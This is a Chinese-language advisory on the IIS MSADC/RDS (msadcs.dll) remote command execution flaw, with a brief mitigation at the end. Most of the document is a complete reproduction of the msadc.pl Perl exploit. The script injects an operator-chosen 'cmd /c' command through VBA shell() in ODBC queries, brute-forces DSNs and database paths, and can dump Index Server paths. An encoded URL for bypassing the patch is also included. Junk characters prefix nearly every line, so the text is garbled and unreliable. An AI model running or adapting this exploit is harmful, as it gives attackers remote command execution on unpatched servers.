IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
nX'.'3 ^u{$$.& 涉及程序:
+=4b5*+qG Microsoft NT server
9b6h!( "Q4{6FH+mB 描述:
\PJ89u0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
iL<O|' be I^=M>_s4 详细:
471}'3 如果你没有时间读详细内容的话,就删除:
*uR'eXW c:\Program Files\Common Files\System\Msadc\msadcs.dll
cB^lSmu5 有关的安全问题就没有了。
Gx($q;8 Sq%R 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
vD t?N9 jT',+ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
/8T{bJ5 关于利用ODBC远程漏洞的描述,请参看:
jL&F7itP Sq>UMfl& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6yqp<D0SP) 'z/hj>B< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
XlPy(> http://www.microsoft.com/security/bulletins/MS99-025faq.asp \&0NH=*^ >{Djx 这里不再论述。
>E3OYa?G *6DKUCA/ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
J%'|IwA Vv]mME@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wW~2]*n 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
PoZBiw@ fsoS!6h0k SbY i|V,H #将下面这段保存为txt文件,然后: "perl -x 文件名"
|EunDb[Y R}FN6cH #!perl
G].Z| Z9 #
1|--Xnv # MSADC/RDS 'usage' (aka exploit) script
sKtH4d5) #
tEl_A"^e # by rain.forest.puppy
NG ~sE&,7 #
XOMWqQr| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
lx SGvvP4 # beta test and find errors!
cqDnZ`|6 G(i/ @>l use Socket; use Getopt::Std;
wB@A?&UY getopts("e:vd:h:XR", \%args);
,O(uuq ryPzq}# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
p{U ro!J,K XQ>m8K?\d if (!defined $args{h} && !defined $args{R}) {
utv.uwfat print qq~
%-D2I Usage: msadc.pl -h <host> { -d <delay> -X -v }
&>SE9w/?o -h <host> = host you want to scan (ip or domain)
! WNr09` -d <seconds> = delay between calls, default 1 second
\oyr[so(i -X = dump Index Server path table, if available
Zr3KzY9 -v = verbose
Ex<0@Oz -e = external dictionary file for step 5
sy;~(rpg f`cO5lP/:) Or a -R will resume a command session
0:nyOx(; }I"^WCyH ~; exit;}
(Q&Z/Fe kq+L63fZ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HUH=Y; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;IyQqP#,< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q-'zZ# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8l6R.l
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1QThAFN if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=>9`qcNW_ :v#3;('7 if (!defined $args{R}){ $ret = &has_msadc;
_:J!
|' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
q4{ 6@q yd$y\pN=< print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K\#+;\V . "cmd /c ";
h1xYQF_`Z $in=<STDIN>; chomp $in;
N]3XDd|q $command="cmd /c " . $in ;
d}1R<Q;F tG'c79D\ if (defined $args{R}) {&load; exit;}
!U@[lBW K=V)"v5o3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
x(A.^Yz &try_btcustmr;
GKX#-zsh79 czafBO6 print "\nStep 2: Trying to make our own DSN...";
0oD?4gn &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
D?$f[+ wNn6".S print "\nStep 3: Trying known DSNs...";
9kcAMk1K &known_dsn;
EyhQjsaT HQ"D>hsuU print "\nStep 4: Trying known .mdbs...";
*&7Av7S &known_mdb;
@<_4Nb 'j|;M if (defined $args{e}){
MOXDR print "\nStep 5: Trying dictionary of DSN names...";
^vUdf.n9 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9!tRM- ."${.BPn~ print "Sorry Charley...maybe next time?\n";
<Fi/! exit;
ZDlMkHJ m6s32??m ##############################################################################
V}& <3'r&ks sub sendraw { # ripped and modded from whisker
Q!c*2hI sleep($delay); # it's a DoS on the server! At least on mine...
h-V5&em"_ my ($pstr)=@_;
I<DS07K socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ws@;2?%A die("Socket problems\n");
n<MH\.!tM if(connect(S,pack "SnA4x8",2,80,$target)){
RX'(
l select(S); $|=1;
HA| YLj?|g print $pstr; my @in=<S>;
M*nfWQ
a select(STDOUT); close(S);
dI3U*:$X
return @in;
dLLF#N } else { die("Can't connect...\n"); }}
VgOj#Z?K ds`a6>746 ##############################################################################
)]'?yS" E1=]m sub make_header { # make the HTTP request
Lf3:' n my $msadc=<<EOT
WL<Cj_N_{H POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
:WE(1!P@ User-Agent: ACTIVEDATA
2%QY~Ku~ Host: $ip
J?HYN% Content-Length: $clen
}{s<!b Connection: Keep-Alive
: -OHD#>% bEbnZ<kz* ADCClientVersion:01.06
m3 ,i{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
t68h$u _&P![o)x --!ADM!ROX!YOUR!WORLD!
+`zM^'^$ Content-Type: application/x-varg
-3A#a_fu Content-Length: $reqlen
~nw]q<7r $5l 8V EOT
1qtu,yIf ; $msadc=~s/\n/\r\n/g;
VB\oK\F5z return $msadc;}
D{~I '~2;WF0h ##############################################################################
k? X7h2 `8EHhN; sub make_req { # make the RDS request
U\P ;,o my ($switch, $p1, $p2)=@_;
A~u-Iv(U my $req=""; my $t1, $t2, $query, $dsn;
iphe0QE[#} x,pzX( if ($switch==1){ # this is the btcustmr.mdb query
a8''t_Dp $query="Select * from Customers where City=" . make_shell();
vk&C'&uV9@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
IZ"d s=w $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
vn7<>k>dx >O?5mfMK elsif ($switch==2){ # this is general make table query
ex1b jM7 $query="create table AZZ (B int, C varchar(10))";
|\J8:b>} $dsn="$p1";}
w`q):yXX wjDLsf, elsif ($switch==3){ # this is general exploit table query
d
H]'&&M $query="select * from AZZ where C=" . make_shell();
m
z) O $dsn="$p1";}
D3N\$ D 6Dwj^e0 elsif ($switch==4){ # attempt to hork file info from index server
_Uc le $query="select path from scope()";
q<dZy? f $dsn="Provider=MSIDXS;";}
x
xWnB a2/!~X9F elsif ($switch==5){ # bad query
g^/ $query="select";
3+rud9T $dsn="$p1";}
s0WI93+z %Sf%XNtu $t1= make_unicode($query);
lOYzo $t2= make_unicode($dsn);
1*, f $req = "\x02\x00\x03\x00";
'(4$h3-gv7 $req.= "\x08\x00" . pack ("S1", length($t1));
>d%;+2 $req.= "\x00\x00" . $t1 ;
\hoYQK j $req.= "\x08\x00" . pack ("S1", length($t2));
;b-Y$< $req.= "\x00\x00" . $t2 ;
^^1rjh1I $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
QE1DTU return $req;}
#**vIwX-Q 2Ck'A0d ##############################################################################
A@^Y2:pY d#'aT mu! sub make_shell { # this makes the shell() statement
-AWL :< return "'|shell(\"$command\")|'";}
i{vM NI{ .-Yhpw>f ##############################################################################
Ksr.' B_$hi=?TTd sub make_unicode { # quick little function to convert to unicode
[9Q}e;T my ($in)=@_; my $out;
v2][gn+58 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
WW\t<O;z return $out;}
k` cz$> :+: vBrJm ##############################################################################
eD2u!OKW! D-JG0.@ sub rdo_success { # checks for RDO return success (this is kludge)
Fg;V6s/>ts my (@in) = @_; my $base=content_start(@in);
=8#$'1K,v if($in[$base]=~/multipart\/mixed/){
u czOSd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'[g@A>xDvW return 0;}
RsU!mYs:H qVjl8%) ##############################################################################
.93B@u 2j*;1 sub make_dsn { # this makes a DSN for us
d[eN#< my @drives=("c","d","e","f");
KG=h!]Meq print "\nMaking DSN: ";
(r78AZ foreach $drive (@drives) {
qRC-+k:
print "$drive: ";
oP vk ^H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'@t}8J "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
K)"lq5nM . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0<(F
8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p}I,!~}
return 0 if $2 eq "404"; # not found/doesn't exist
d)d\h`=Z if($2 eq "200") {
{kVhht]X foreach $line (@results) {
S &N[@G return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\-i5b } return 0;}
vy&q7EX<i x=]PE}<E ##############################################################################
2?J[D7 T-S6`^_L sub verify_exists {
anxZ|DE my ($page)=@_;
D_VAtz my @results=sendraw("GET $page HTTP/1.0\n\n");
Twl>Pn> return $results[0];}
!A@Ft}FB jr,j1K@_t ##############################################################################
OcWy#,uC
t{A/Lq9AM sub try_btcustmr {
lM/)<I\8 my @drives=("c","d","e","f");
Ni bOtIZ my @dirs=("winnt","winnt35","winnt351","win","windows");
,z8<[Q-# >AFX}N# foreach $dir (@dirs) {
vOMmsU F print "$dir -> "; # fun status so you can see progress
,j^z]; foreach $drive (@drives) {
<B"M} Y>_P print "$drive: "; # ditto
N3 O~_=/v? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>Z-f</v03 $reqlenlen=length( "$reqlen" );
p) '.swpJ $clen= 206 + $reqlenlen + $reqlen;
%z9eVkPI~ ii,/omn: my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(?[^##03MN if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
E6
glR else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\l$gcFXb x.J%
c[Q8 ##############################################################################
k(As^'> VkKq<`t< sub odbc_error {
LNm{}VJ% my (@in)=@_; my $base;
U TT 7a" my $base = content_start(@in);
T;{M9W+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
c^Y&4=>T $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wlvh DJ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
BM6 J $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
AiMD"7
)c return $in[$base+4].$in[$base+5].$in[$base+6];}
E}&Z=+v} print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
B-EVo&. print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
b d!|/Lk $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
0qND 2_ pyvZ[R9 ##############################################################################
/1s|FI$-L 4^|;a0Qy] sub verbose {
~D[5AXV`^ my ($in)=@_;
@t W;(8- return if !$verbose;
UM?{ba9 print STDOUT "\n$in\n";}
~k}>CNTr 4&TTPcSt; ##############################################################################
KaRdO )+!~xL sub save {
r&qFv)0!` my ($p1, $p2, $p3, $p4)=@_;
OanH G open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r@j$$Pk` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
" w0[l"3V close OUT;}
DH@})TN*O ]gxt+'iAFS ##############################################################################
8V]oR3' #:C?:RMS sub load {
{OK+d#= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=Tdh]0 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
5|I2 @p=<IN>; close(IN);
3>jL7sh%| $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
A$w0+&*= $target= inet_aton($ip) || die("inet_aton problems");
_!m_s5{ print "Resuming to $ip ...";
N9lCbtn(0x $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
j9sK P]w if($p[1]==1) {
N001c)*7Q $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
IO, kGUS $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
XI>|"*-l my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
aq a%B if (rdo_success(@results)){print "Success!\n";}
T!GX^nn*O else { print "failed\n"; verbose(odbc_error(@results));}}
IIn0w2:i elsif ($p[1]==3){
1O<Gg<<,e if(run_query("$p[3]")){
5)%bnLxn print "Success!\n";} else { print "failed\n"; }}
F.nJXZnJ elsif ($p[1]==4){
o\Ocu>: if(run_query($drvst . "$p[3]")){
[#}A]1N print "Success!\n"; } else { print "failed\n"; }}
}4
p3m] exit;}
.Vy*p")" Y ;JPr ##############################################################################
>o\s'i[ fWr6f`de sub create_table {
AYB
=iLa my ($in)=@_;
J?Y1G<& $reqlen=length( make_req(2,$in,"") ) - 28;
0)c9X[sG $reqlenlen=length( "$reqlen" );
A..,. $clen= 206 + $reqlenlen + $reqlen;
\dIc_6/D1 my @results=sendraw(make_header() . make_req(2,$in,""));
!>%U8A return 1 if rdo_success(@results);
OI=LuWGQE1 my $temp= odbc_error(@results); verbose($temp);
A
(:7q4 return 1 if $temp=~/Table 'AZZ' already exists/;
UIpW#t return 0;}
%D::$,;<< ^iWcuh_n ##############################################################################
}8+rrzMUB ,d^ze = sub known_dsn {
&3jq'@6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
T2;%@Ghc my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
hWzjn5w3 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.kv/db "banner", "banners", "ads", "ADCDemo", "ADCTest");
37#|X*L KK}?x6wV0, foreach $dSn (@dsns) {
=N_7DT print ".";
P|rsq|', next if (!is_access("DSN=$dSn"));
@@!Mt~\ if(create_table("DSN=$dSn")){
$Vu%4kq print "$dSn successful\n";
]e*Zx;6oi if(run_query("DSN=$dSn")){
P>*g'OK^!G print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lkj^<%N"r print "Something's borked. Use verbose next time\n";}}} print "\n";}
Q}a, f75 ;(]O*{F7k ##############################################################################
RoL5uha,l M"q]jeaM sub is_access {
Rn l
4 my ($in)=@_;
^LA.Y)4C2% $reqlen=length( make_req(5,$in,"") ) - 28;
8{mQmG4 $reqlenlen=length( "$reqlen" );
h)O<bI8 $clen= 206 + $reqlenlen + $reqlen;
W YHr'xJ my @results=sendraw(make_header() . make_req(5,$in,""));
Iyo ey my $temp= odbc_error(@results);
@B<B# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t>04nN_@,s return 0;}
*b{C`[
=V q>$[<TsE&} ##############################################################################
- EwtO4vLJ Fx^e%":@ip sub run_query {
uO4kCK<7C my ($in)=@_;
x~7_`=}rO $reqlen=length( make_req(3,$in,"") ) - 28;
>DHpD?Pm! $reqlenlen=length( "$reqlen" );
IEi E6z]L( $clen= 206 + $reqlenlen + $reqlen;
Z */*P4\ my @results=sendraw(make_header() . make_req(3,$in,""));
f87>ul!* return 1 if rdo_success(@results);
Hk65c0 my $temp= odbc_error(@results); verbose($temp);
c*O{?b return 0;}
X>i`z Ch`nDIne ##############################################################################
0YMmW xV vV2px sub known_mdb {
aFI?^"L my @drives=("c","d","e","f","g");
O@.afk"{ my @dirs=("winnt","winnt35","winnt351","win","windows");
nm[ yp3B my $dir, $drive, $mdb;
##%R|P3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S Z@ JzOA "82<}D^; # this is sparse, because I don't know of many
wm3fd7T my @sysmdbs=( "\\catroot\\icatalog.mdb",
h6!o,qw" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ya+eGD@N': "\\system32\\certmdb.mdb",
p1dqDgF* "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
i(eLE"G+ 9Y9pKTU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#MZ0Sd8]& "\\cfusion\\cfapps\\forums\\forums_.mdb",
@$5! "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:+1S+w "\\cfusion\\cfapps\\security\\realm_.mdb",
Ivw+U-Mz "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$gYy3y "\\cfusion\\database\\cfexamples.mdb",
qO5.NIs "\\cfusion\\database\\cfsnippets.mdb",
1' #%UA "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
rcc.FS "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
!PCw-& "\\cfusion\\brighttiger\\database\\cleam.mdb",
=~Ac=j!q "\\cfusion\\database\\smpolicy.mdb",
?K<m.+4b*y "\\cfusion\\database\cypress.mdb",
rUunf'w`e1 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
l:!4^>SC "\\website\\cgi-win\\dbsample.mdb",
bL=32YS "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/]/3)@wT "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
:U5>. ): ); #these are just
0:W*_w0Ge foreach $drive (@drives) {
kNX(@f foreach $dir (@dirs){
:#M(,S"Qq foreach $mdb (@sysmdbs) {
UX-l`ygl print ".";
R:*I>cRs if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
x6,kG print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
1dhp/Qh if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
By 3/vb)M5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5 =Os
sAr } else { print "Something's borked. Use verbose next time\n"; }}}}}
Zi+>#kDV ~I0I#_$'P foreach $drive (@drives) {
b;!oPT foreach $mdb (@mdbs) {
st;.Po[h print ".";
Fm\
h883\ if(create_table($drv . $drive . $dir . $mdb)){
.uAOk0^z print "\n" . $drive . $dir . $mdb . " successful\n";
dAOmqu,6 if(run_query($drv . $drive . $dir . $mdb)){
bSW!2#~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
8G?{S.%. } else { print "Something's borked. Use verbose next time\n"; }}}}
u~X]W3 }
>x%Z^U 7)S;VG k ##############################################################################
U=<E,tM MC5M><5\ sub hork_idx {
k~ZwHx(%S print "\nAttempting to dump Index Server tables...\n";
=2VM(GtK> print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Dk#$PjcRE $reqlen=length( make_req(4,"","") ) - 28;
Jo1=C.V`Y $reqlenlen=length( "$reqlen" );
)t
G`a ; $clen= 206 + $reqlenlen + $reqlen;
PI7M3\z my @results=sendraw2(make_header() . make_req(4,"",""));
H'uRgBjWJ if (rdo_success(@results)){
r4}:t$ my $max=@results; my $c; my %d;
;{]%ceetcu for($c=19; $c<$max; $c++){
P;>8S:8
$results[$c]=~s/\x00//g;
V Iof4?i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
C\7qAR\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
cdL$T6y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
EP#3+BsH $d{"$1$2"}="";}
OQ<|XdI$ foreach $c (keys %d){ print "$c\n"; }
$CaF"5}?Ke } else {print "Index server doesn't seem to be installed.\n"; }}
6MfjB@ ]A;zY%> ##############################################################################
E<>Ev_5 > 6:i(<7 sub dsn_dict {
#UH|,>W6 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
v&}mbt- while(<IN>){
9N>Dp N $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Y_&D W4 next if (!is_access("DSN=$dSn"));
[`P+{ R if(create_table("DSN=$dSn")){
(o_w[jv print "$dSn successful\n";
wVCZ=\L} if(run_query("DSN=$dSn")){
Lwgk}!KR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sygAEL;. print "Something's borked. Use verbose next time\n";}}}
`B;^:u print "\n"; close(IN);}
ugg08 am! `.+_}.m ##############################################################################
d$<HMs:o@ #RoGyrLo sub sendraw2 { # ripped and modded from whisker
rlYAy5& sleep($delay); # it's a DoS on the server! At least on mine...
Q4Mp[ my ($pstr)=@_;
T78`~-D4< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l]whL1N3 die("Socket problems\n");
kUAj Q> if(connect(S,pack "SnA4x8",2,80,$target)){
]zHUF!a* print "Connected. Getting data";
x$9UHEb kM open(OUT,">raw.out"); my @in;
* a xOen select(S); $|=1; print $pstr;
H kDT14 `& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
r8XY"< close(OUT); select(STDOUT); close(S); return @in;
yG'5u p } else { die("Can't connect...\n"); }}
Ip]-OVg 8>G3KZ3 ##############################################################################
Ch607i= AW@I, sub content_start { # this will take in the server headers
W?8 |h my (@in)=@_; my $c;
0_Tr>hz for ($c=1;$c<500;$c++) {
f.0~HnNg1 if($in[$c] =~/^\x0d\x0a/){
mM"!=' z if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+)Tt\Q%7 else { return $c+1; }}}
Hep]jxp+ return -1;} # it should never get here actually
n{j14b' FbQ"ZTN\;Y ##############################################################################
<#w0=W? O3#4B!J$E sub funky {
c[ @-&o` my (@in)=@_; my $error=odbc_error(@in);
+_uT1Ps BY if($error=~/ADO could not find the specified provider/){
djV^A print "\nServer returned an ADO miscofiguration message\nAborting.\n";
+\G/j ]3f exit;}
uW!',"0ER if($error=~/A Handler is required/){
zN JK+_O= print "\nServer has custom handler filters (they most likely are patched)\n";
xq v4gN6 exit;}
siw }
}} if($error=~/specified Handler has denied Access/){
> Zo_-, print "\nServer has custom handler filters (they most likely are patched)\n";
~}|)@,N'bm exit;}}
V%?oI]"
l zDY!0QZLF\ ##############################################################################
cYyv
iR59# aS?A3h4WM_ sub has_msadc {
U<fe 'd my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
#(-V^T my $base=content_start(@results);
9vT@ mqKu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^2OBc return 0;}
"exph$ hZ!N8nWwNR ########################
&AH@|$!E B*E:?4(<P ~p<o":k+Lv 解决方案:
/g2( < 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
x/47e8/ 2、移除web 目录: /msadc